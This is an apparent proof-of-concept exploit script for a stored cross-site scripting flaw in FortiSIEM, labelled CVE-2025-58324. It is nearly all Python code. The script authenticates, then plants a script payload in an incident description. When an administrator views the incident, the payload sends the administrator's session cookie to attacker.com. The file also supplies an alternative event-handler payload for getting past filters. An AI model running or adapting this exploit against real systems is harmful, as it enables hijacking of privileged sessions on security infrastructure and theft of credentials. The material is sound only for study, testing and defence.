CVE-2025-58324 FortiSIEM存储型跨站脚本漏洞

# CVE-2025-58324 - FortiSIEM Stored XSS PoC # This PoC demonstrates a stored XSS attack via crafted HTTP requests # Target: FortiSIEM 7.2.0 - 7.2.2, 7.1.x, 7.0.x, 6.x all versions import requests # Configuration TARGET_URL = "https://fortisiem-target.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to FortiSIEM session = requests.Session() login_url = f"{TARGET_URL}/phoenix/login" # Get login page to retrieve CSRF token response = session.get(login_url) # Perform login (adjust parameters based on FortiSIEM version) login_data = { "username": USERNAME, "password": PASSWORD, "csrfmiddlewaretoken": session.cookies.get("csrftoken", "") } response = session.post(login_url, data=login_data, verify=False) # Step 2: Inject malicious XSS payload via a stored field # Common injection points: incident description, report name, dashboard widget, rule description xss_payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' # Example: Inject via incident/comment creation inject_url = f"{TARGET_URL}/phoenix/rest/event/incident/create" inject_data = { "incidentTitle": "Security Alert", "incidentDescription": f"Normal alert description {xss_payload}", "severity": "3", "csrfmiddlewaretoken": session.cookies.get("csrftoken", "") } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{TARGET_URL}/phoenix/" } response = session.post(inject_url, data=inject_data, headers=headers, verify=False) print(f"Injection Status: {response.status_code}") print(f"Payload stored: {xss_payload}") # Step 3: When an admin views the incident, the XSS executes # The malicious script steals the admin's session cookie # and redirects to the attacker's controlled server print("\n[!] XSS payload stored successfully.") print("[!] When a high-privilege user views this content, the payload will execute.") print("[!] Captured data will be sent to: https://attacker.com/steal") # Alternative payload using event handlers (bypasses some filters) alternative_payload = '"><img src=x onerror=alert(document.domain)>' print(f"\nAlternative payload: {alternative_payload}")